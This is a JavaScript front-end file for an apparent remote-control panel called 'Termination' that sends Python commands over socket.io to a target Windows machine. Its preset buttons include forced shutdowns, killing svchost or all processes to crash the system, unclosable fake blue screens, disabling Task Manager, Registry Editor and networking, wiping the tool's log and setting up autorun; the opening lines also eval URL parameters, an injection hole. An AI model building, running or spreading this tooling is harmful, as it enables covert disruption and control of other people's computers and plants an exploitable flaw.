464 lines
18 KiB
JavaScript
464 lines
18 KiB
JavaScript
URLARGS = new URLSearchParams(window.location.search);
|
|
for (const [key, value] of URLARGS) {
|
|
eval(`window.${key} = '${value}';console.log(window.${key});`);
|
|
}
|
|
|
|
const ModeButton = document.querySelectorAll('[data-tab]');
|
|
ModeButton.forEach(button => {
|
|
button.addEventListener('click', () => {
|
|
ModeButton.forEach(btn => {
|
|
btn.classList.remove('tab-active');
|
|
btn.classList.add('border-transparent', 'text-gray-400');
|
|
});
|
|
button.classList.add('tab-active');
|
|
button.classList.remove('border-transparent', 'text-gray-400');
|
|
});
|
|
});
|
|
function GMB() {
|
|
const ModeButton = document.querySelector('[data-tab].tab-active');
|
|
return ModeButton ? ModeButton.getAttribute('data-tab') : window.mode;
|
|
}
|
|
|
|
window.mode="Python";
|
|
|
|
socket = io("/Termination4ConsoleSpace");
|
|
// connect 事件
|
|
socket.on("connect", (message) => {
|
|
socket.emit("TJoin", {"PCMachineGUID": window.PCMachineGUID});
|
|
});
|
|
|
|
window.socket = socket;
|
|
|
|
|
|
// Console API
|
|
const ConsoleAPI = {
|
|
print: function(text, options = {}) {
|
|
const consoleOutput = document.getElementById('console-output');
|
|
const SPACE_WIDTH = 4;
|
|
const TAB_WIDTH = 20;
|
|
const lines = text.split('\n');
|
|
lines.forEach(line => {
|
|
const lineContainer = document.createElement('div');
|
|
lineContainer.className = 'terminal-line-container';
|
|
lineContainer.style.display = 'flex';
|
|
lineContainer.style.alignItems = 'flex-start';
|
|
let indentWidth = 0;
|
|
let contentStart = 0;
|
|
while (contentStart < line.length) {
|
|
const char = line[contentStart];
|
|
if (char === ' ') {
|
|
indentWidth += SPACE_WIDTH;
|
|
contentStart++;
|
|
} else if (char === '\t') {
|
|
indentWidth += TAB_WIDTH;
|
|
contentStart++;
|
|
} else {
|
|
break;
|
|
}
|
|
}
|
|
const indentDiv = document.createElement('div');
|
|
indentDiv.className = 'terminal-indent';
|
|
indentDiv.style.width = `${indentWidth}px`;
|
|
// indentDiv.style.backgroundColor = 'rgba(255,0,0,0.1)';
|
|
lineContainer.appendChild(indentDiv);
|
|
const contentDiv = document.createElement('div');
|
|
contentDiv.className = options.isCommand ? 'terminal-line' : 'terminal-content';
|
|
contentDiv.textContent = line.substring(contentStart);
|
|
lineContainer.appendChild(contentDiv);
|
|
consoleOutput.appendChild(lineContainer);
|
|
});
|
|
|
|
this.scrollToBottom();
|
|
},
|
|
error: function(errorJson) {
|
|
const consoleOutput = document.getElementById('console-output');
|
|
|
|
// 创建错误容器
|
|
const errorContainer = document.createElement('div');
|
|
errorContainer.className = 'python-error-container mb-3 ml-4';
|
|
|
|
// 2. 渲染调用栈
|
|
errorJson.TracebackFrames.forEach(frame => {
|
|
const traceLine = document.createElement('div');
|
|
traceLine.className = 'mb-1 text-terminal-warning';
|
|
traceLine.textContent = `File "${frame.FilePath}", Line ${frame.LineNumber}, In ${frame.FunctionName}:`;
|
|
errorContainer.appendChild(traceLine);
|
|
|
|
const codeContainer = document.createElement('div');
|
|
codeContainer.className = 'ml-4 mb-2';
|
|
|
|
const codeLine = document.createElement('div');
|
|
codeLine.className = 'text-terminal-text';
|
|
codeLine.textContent = frame.CodeLine;
|
|
|
|
const errorIndicator = document.createElement('div');
|
|
errorIndicator.className = 'text-terminal-error font-bold';
|
|
errorIndicator.textContent = '^';
|
|
errorIndicator.style.marginLeft = `${this.calculateIndent(frame.CodeLine)}ch`;
|
|
|
|
codeContainer.appendChild(codeLine);
|
|
codeContainer.appendChild(errorIndicator);
|
|
errorContainer.appendChild(codeContainer);
|
|
});
|
|
|
|
const errorHeader = document.createElement('div');
|
|
errorHeader.className = 'mb-2';
|
|
const ErrorTypeSpan = document.createElement('span');
|
|
ErrorTypeSpan.className = 'text-terminal-error font-bold';
|
|
ErrorTypeSpan.textContent = `${errorJson.ErrorType}: `;
|
|
const ErrorMessageSpan = document.createElement('span');
|
|
ErrorMessageSpan.className = 'text-terminal-error';
|
|
ErrorMessageSpan.textContent = errorJson.ErrorMessage;
|
|
errorHeader.appendChild(ErrorTypeSpan);
|
|
errorHeader.appendChild(ErrorMessageSpan);
|
|
errorContainer.appendChild(errorHeader);
|
|
|
|
|
|
const showDetails = document.createElement('div');
|
|
showDetails.className = 'text-terminal-info mt-1 cursor-pointer hover:underline';
|
|
showDetails.innerHTML = '<i class="fa fa-chevron-down mr-1"></i> Show error details';
|
|
errorContainer.appendChild(showDetails);
|
|
|
|
// 文件内容
|
|
const fileContentDiv = document.createElement('div');
|
|
fileContentDiv.className = 'mb-4';
|
|
|
|
const fileHeader = document.createElement('div');
|
|
fileHeader.className = 'text-terminal-accent mb-2';
|
|
fileHeader.innerHTML = `<i class="fa fa-file-code-o mr-1"></i> File: ${errorJson.FilePath}`;
|
|
fileContentDiv.appendChild(fileHeader);
|
|
|
|
const fileContentPre = document.createElement('pre');
|
|
fileContentPre.className = 'text-sm overflow-x-auto';
|
|
/* errorJson.fileContent
|
|
["1", "2", "3"].forEach((line, index) => {
|
|
const lineNumber = index + 1;
|
|
const lineDiv = document.createElement('div');
|
|
lineDiv.className = lineNumber === errorJson.lineNumber ? 'line-highlight pl-1' : '';
|
|
|
|
const lineNumSpan = document.createElement('span');
|
|
lineNumSpan.className = 'text-gray-500 mr-3 inline-block w-8 text-right';
|
|
lineNumSpan.textContent = lineNumber;
|
|
|
|
const codeSpan = document.createElement('span');
|
|
codeSpan.textContent = line;
|
|
|
|
lineDiv.appendChild(lineNumSpan);
|
|
lineDiv.appendChild(codeSpan);
|
|
fileContentPre.appendChild(lineDiv);
|
|
});
|
|
|
|
fileContentDiv.appendChild(fileContentPre);*/
|
|
|
|
const detailsContainer = document.createElement('div');
|
|
detailsContainer.className = 'mt-2 hidden python-error-details bg-black/30 p-3 rounded border border-gray-700';
|
|
detailsContainer.appendChild(fileContentDiv);
|
|
|
|
const contextDiv = document.createElement('div');
|
|
contextDiv.className = 'mb-4';
|
|
|
|
const contextHeader = document.createElement('div');
|
|
contextHeader.className = 'text-terminal-accent mb-2';
|
|
contextHeader.innerHTML = `<i class="fa fa-info-circle mr-1"></i> Error Context`;
|
|
contextDiv.appendChild(contextHeader);
|
|
|
|
detailsContainer.appendChild(contextDiv);
|
|
errorContainer.appendChild(detailsContainer);
|
|
|
|
// 绑定详情展开/折叠事件
|
|
showDetails.addEventListener('click', () => {
|
|
detailsContainer.classList.toggle('hidden');
|
|
if (detailsContainer.classList.contains('hidden')) {
|
|
showDetails.innerHTML = '<i class="fa fa-chevron-down mr-1"></i> Show error details';
|
|
} else {
|
|
showDetails.innerHTML = '<i class="fa fa-chevron-up mr-1"></i> Hide error details';
|
|
}
|
|
this.scrollToBottom();
|
|
});
|
|
|
|
consoleOutput.appendChild(errorContainer);
|
|
this.scrollToBottom();
|
|
},
|
|
|
|
// 辅助方法:计算代码缩进(用于错误指示器定位)
|
|
calculateIndent(code) {
|
|
let indent = 0;
|
|
for (let i = 0; i < code.length; i++) {
|
|
if (code[i] === ' ') {
|
|
indent++;
|
|
} else if (code[i] === '\t') {
|
|
indent += 4; // 制表符按4个空格计算
|
|
} else {
|
|
break;
|
|
}
|
|
}
|
|
return indent;
|
|
},
|
|
|
|
|
|
|
|
executeCommand: function(command) {
|
|
this.print(`$ ${command}`, {
|
|
isCommand: true
|
|
});
|
|
if (command == "cls" || command == "clear") {
|
|
document.getElementById('console-output')
|
|
.innerHTML = '';
|
|
return;
|
|
}
|
|
socket.emit('T4CMDCommand', {
|
|
"PCMachineGUID": PCMachineGUID,
|
|
"work": GMB(),
|
|
"Command": command
|
|
});
|
|
},
|
|
// 滚动到底部
|
|
scrollToBottom: function() {
|
|
const consoleOutput = document.getElementById('console-output');
|
|
consoleOutput.scrollTop = consoleOutput.scrollHeight;
|
|
}
|
|
};
|
|
|
|
// 初始化控制台
|
|
document.addEventListener('DOMContentLoaded', function() {
|
|
const consoleInput = document.getElementById('console-input');
|
|
const executeBtn = document.getElementById('execute-btn');
|
|
|
|
// 处理控制台输入
|
|
consoleInput.addEventListener('keydown', function(e) {
|
|
if (e.key === 'Enter') {
|
|
const command = this.value.trim();
|
|
if (command) {
|
|
ConsoleAPI.executeCommand(command);
|
|
this.value = '';
|
|
}
|
|
}
|
|
});
|
|
|
|
socket.on("CMDMessage", (message) => {
|
|
console.log(message);
|
|
if ("Message" in message) { ConsoleAPI.print(message.Message, {isCommand: true}); }
|
|
else if ("Error" in message) { ConsoleAPI.error(message.Error); }
|
|
else { ConsoleAPI.print(json.stringify(message)); }
|
|
});
|
|
|
|
// 执行按钮
|
|
executeBtn.addEventListener('click', function() {
|
|
const command = consoleInput.value.trim();
|
|
if (command) {
|
|
ConsoleAPI.executeCommand(command);
|
|
consoleInput.value = '';
|
|
}
|
|
});
|
|
document.getElementById('terminate-btn')
|
|
.addEventListener('click', function() {
|
|
socket.emit('T4CMDCommand', {
|
|
"PCMachineGUID": PCMachineGUID,
|
|
"work": "Python",
|
|
"Command": "Termination._exit(0)"
|
|
});
|
|
});
|
|
document.getElementById('restart-btn')
|
|
.addEventListener('click', function() {
|
|
socket.emit('T4CMDCommand', {
|
|
"PCMachineGUID": PCMachineGUID,
|
|
"work": "Python",
|
|
"Command": "Termination._reboot(0)"
|
|
});
|
|
});
|
|
const overlay = document.getElementById('board-overlay');
|
|
const openOverlayBtn = document.getElementById('board-btn');
|
|
const buttonContainer = document.getElementById('buttonContainer');
|
|
|
|
// 使用对象数组数据
|
|
const buttonData = [{name: '空输入', value: ''},
|
|
{name: '10秒倒计时', value: 'Termination.TLUI.CountDown.FCDUI(10).start()'},
|
|
{name: '10分钟倒计时', value: 'Termination.TLUI.CountDown.FCDUI(600).start()'},
|
|
{name: '1小时倒计时', value: 'Termination.TLUI.CountDown.FCDUI(3600).start()'},
|
|
{name: 'KONGBUUI演示', value: 'Termination.TLUI.KONGBU.ScreenErrorSimulator()'},
|
|
{name: '关机', value: 'os.system(\'shutdown /s /t 0\')'},
|
|
{name: '重启', value: 'os.system(\'shutdown /r /t 0\')'},
|
|
{name: '10分钟后关机', value: 'os.system(\'shutdown /s /t 600\')'},
|
|
{name: '10分钟后重启', value: 'os.system(\'shutdown /r /t 600\')'},
|
|
{name: '1小时后关机', value: 'os.system(\'shutdown /s /t 3600\')'},
|
|
{name: '1小时后重启', value: 'os.system(\'shutdown /r /t 3600\')'},
|
|
{name: 'Svchost蓝屏', value: 'os.system(\'taskkill /f /im svchost.exe\')'},
|
|
{name: '结束所有进程', value: 'os.system("taskkill /f /fi \\"pid ne 1\\"")'},
|
|
{name: 'Wininit蓝屏', value: 'os.system(\'wininit.exe\')'},
|
|
{name: 'HA', value: '"Termination.TLUI.OBlue.BlueScreenApp(Termination.Static_TTFile, Termination.Static_WAVFile, None).Run()'},
|
|
{name: '假蓝屏', value: 'Termination.TLUI.Blue.BlueScreenApp().Run()'},
|
|
{name: '假蓝屏(不可关)', value: 'Termination.TLUI.Blue.BlueScreenApp(False).Run()'},
|
|
{name: '禁用任务管理器', value: 'print(Termination.tpll.RegTaskmgrDisable())'},
|
|
{name: '启用任务管理器', value: 'print(Termination.tpll.RegTaskmgrEnable())'},
|
|
{name: '禁用壁纸', value: 'print(Termination.tpll.RegBgDisable())'},
|
|
{name: '启用壁纸', value: 'print(Termination.tpll.RegBgEnable())'},
|
|
{name: '禁用注册表编辑器', value: 'print(Termination.tpll.RegEditDisable())'},
|
|
{name: '启用注册表编辑器', value: 'print(Termination.tpll.RegEditEnable())'},
|
|
{name: '获取当前运行模式', value: 'print(Termination.GetWorkMod())'},
|
|
{name: '获取当前服务状态', value: 'print(Termination.tpll.IsService(Termination.__service_name__).status())'},
|
|
{name: '获取当前核心结构列表', value: 'print(dir(Termination))'},
|
|
{name: '获取当前核心环境列表', value: 'print(globals())'},
|
|
{name: '获取是否处于目标工作目录', value: 'print(Termination.PDir.Is_NeedWorkPath())'},
|
|
{name: '关闭网络', value: 'print(Termination.tpll.DisableNetwork())'},
|
|
{name: '启用网络', value: 'print(Termination.tpll.EnableNetwork())'},
|
|
{name: '清除T.log', value: 'os.remove(Termination.__log_path__)'},
|
|
{name: '获取T_Lock锁是否锁定', value: 'print(Termination.__lock__.IsSelfLock())'},
|
|
{name: '获取T_Lock锁是否有其它锁', value: 'print(Termination.__lock__.IsOtherLock())'},
|
|
{name: '锁定T_Lock锁', value: 'print(Termination.__lock__.lock())'},
|
|
{name: '解锁T_Lock锁', value: 'print(Termination.__lock__.unlock())'},
|
|
{name: '初始化服务', value: 'ABUF=Thread_AutoRun.AutoRunSetup(Termination);Termination.TProcessManager.AddThread(ABUF);ABUF.start()'},
|
|
{name: 'ComputerINFO', value: 'print(Termination.TWNT.ComputerINFO)'},
|
|
{name: 'msg', value: 'os.system(\'msg * \')'},
|
|
{name: 'TWNT缩略图压缩等级调整', value: 'Termination.TWNT.Level=15'},
|
|
{name: '进程句柄获取', value: 'Termination.TProcessManager.GetThread(\'Thread-\')'}
|
|
];
|
|
|
|
// 生成按钮
|
|
buttonData.forEach(item => {
|
|
const btn = document.createElement('button');
|
|
btn.className = 'bg-gray-700 hover:bg-blue-600 text-white py-2 px-3 rounded-lg transition-all duration-200 transform hover:scale-105 hover:shadow-lg focus:outline-none focus:ring-2 focus:ring-blue-500 no-o-bg';
|
|
btn.textContent = item.name;
|
|
btn.dataset.value = item.value;
|
|
btn.dataset.name = item.name;
|
|
|
|
btn.addEventListener('click', function() {
|
|
const buttonName = this.dataset.name;
|
|
const buttonValue = this.dataset.value;
|
|
handleButtonClick(buttonName, buttonValue);
|
|
closeOverlay();
|
|
});
|
|
|
|
buttonContainer.appendChild(btn);
|
|
});
|
|
|
|
function openOverlay() {
|
|
overlay.classList.remove('hidden');
|
|
setTimeout(() => {
|
|
overlay.classList.add('opacity-100');
|
|
overlay.querySelector('div')
|
|
.classList.remove('scale-95');
|
|
overlay.querySelector('div')
|
|
.classList.add('scale-100');
|
|
}, 10);
|
|
}
|
|
|
|
function closeOverlay() {
|
|
overlay.classList.remove('opacity-100');
|
|
overlay.querySelector('div')
|
|
.classList.remove('scale-100');
|
|
overlay.querySelector('div')
|
|
.classList.add('scale-95');
|
|
setTimeout(() => {
|
|
overlay.classList.add('hidden');
|
|
}, 300);
|
|
}
|
|
|
|
// 修改回调函数,接收name和value两个参数
|
|
function handleButtonClick(name, value) {
|
|
const inputElement = document.getElementById('console-input');
|
|
inputElement.value = value;
|
|
console.log(`按钮 ${name} (值: ${value}) 被点击了`);
|
|
}
|
|
|
|
openOverlayBtn.addEventListener('click', openOverlay);
|
|
|
|
overlay.addEventListener('click', function(e) {
|
|
if (e.target === overlay) {
|
|
closeOverlay();
|
|
}
|
|
});
|
|
|
|
document.addEventListener('keydown', function(e) {
|
|
if (e.key === 'Escape' && !overlay.classList.contains('hidden')) {
|
|
closeOverlay();
|
|
}
|
|
});
|
|
|
|
// 侧边栏切换
|
|
const sidebarItems = document.querySelectorAll('.sidebar-item');
|
|
sidebarItems.forEach(item => {
|
|
item.addEventListener('click', function() {
|
|
sidebarItems.forEach(i => i.classList.remove('active'));
|
|
this.classList.add('active');
|
|
const tabs = ['console', 'thread-tasks', 'process-tasks', 'task-manager', 'scheduled-tasks', 'event-tasks', 'configuration', 'realtimescreen', 'km', 'hiscr', 'system-info', 'operation-log', 'work-station'];
|
|
tabs.forEach(tab => {
|
|
const tabElement = document.getElementById(`${tab}-tab`);
|
|
if (tabElement) {
|
|
tabElement.classList.add('hidden');
|
|
}
|
|
});
|
|
|
|
// 显示当前内容标签
|
|
const tabName = this.getAttribute('data-tab');
|
|
const currentTab = document.getElementById(`${tabName}-tab`);
|
|
if (currentTab) {
|
|
currentTab.classList.remove('hidden');
|
|
// 添加淡入动画
|
|
currentTab.classList.add('fade-in');
|
|
setTimeout(() => {
|
|
currentTab.classList.remove('fade-in');
|
|
}, 300);
|
|
}
|
|
});
|
|
});
|
|
|
|
// 文件树项目点击
|
|
const fileTreeItems = document.querySelectorAll('.file-tree-item');
|
|
fileTreeItems.forEach(item => {
|
|
item.addEventListener('click', function() {
|
|
// 移除所有活动状态
|
|
fileTreeItems.forEach(i => i.classList.remove('active'));
|
|
// 添加当前活动状态
|
|
this.classList.add('active');
|
|
});
|
|
});
|
|
});
|
|
|
|
// 等待DOM加载完成
|
|
document.addEventListener('DOMContentLoaded', function() {
|
|
// 获取所有标签按钮和对应的内容区域
|
|
const tabButtons = document.querySelectorAll('[data-tab]');
|
|
const tabContents = document.querySelectorAll('#configuration-tab > div:nth-child(3) > div');
|
|
|
|
// 定义激活标签的函数
|
|
window.activateTab = function(tabName) {
|
|
// 重置所有标签按钮样式
|
|
tabButtons.forEach(button => {
|
|
button.classList.remove('border-primary', 'text-white');
|
|
button.classList.add('border-transparent', 'text-gray-400', 'hover:text-white');
|
|
});
|
|
|
|
// 隐藏所有内容区域
|
|
tabContents.forEach(content => {
|
|
content.classList.add('hidden');
|
|
});
|
|
|
|
// 激活目标标签
|
|
const activeButton = document.querySelector(`[data-tab="${tabName}"]`);
|
|
if (activeButton) {
|
|
activeButton.classList.remove('border-transparent', 'text-gray-400');
|
|
activeButton.classList.add('border-primary', 'text-white');
|
|
}
|
|
|
|
// 显示目标内容
|
|
const activeContent = document.getElementById(tabName);
|
|
if (activeContent) {
|
|
activeContent.classList.remove('hidden');
|
|
}
|
|
|
|
if (tabName === 'configuration') {
|
|
window.activateTab('basic-config');
|
|
}
|
|
}
|
|
|
|
// 为所有标签按钮添加点击事件
|
|
tabButtons.forEach(button => {
|
|
button.addEventListener('click', function() {
|
|
const tabName = this.getAttribute('data-tab');
|
|
activateTab(tabName);
|
|
});
|
|
});
|
|
|
|
setTimeout(() => window.activateTab('basic-config'), 1000);
|
|
});
|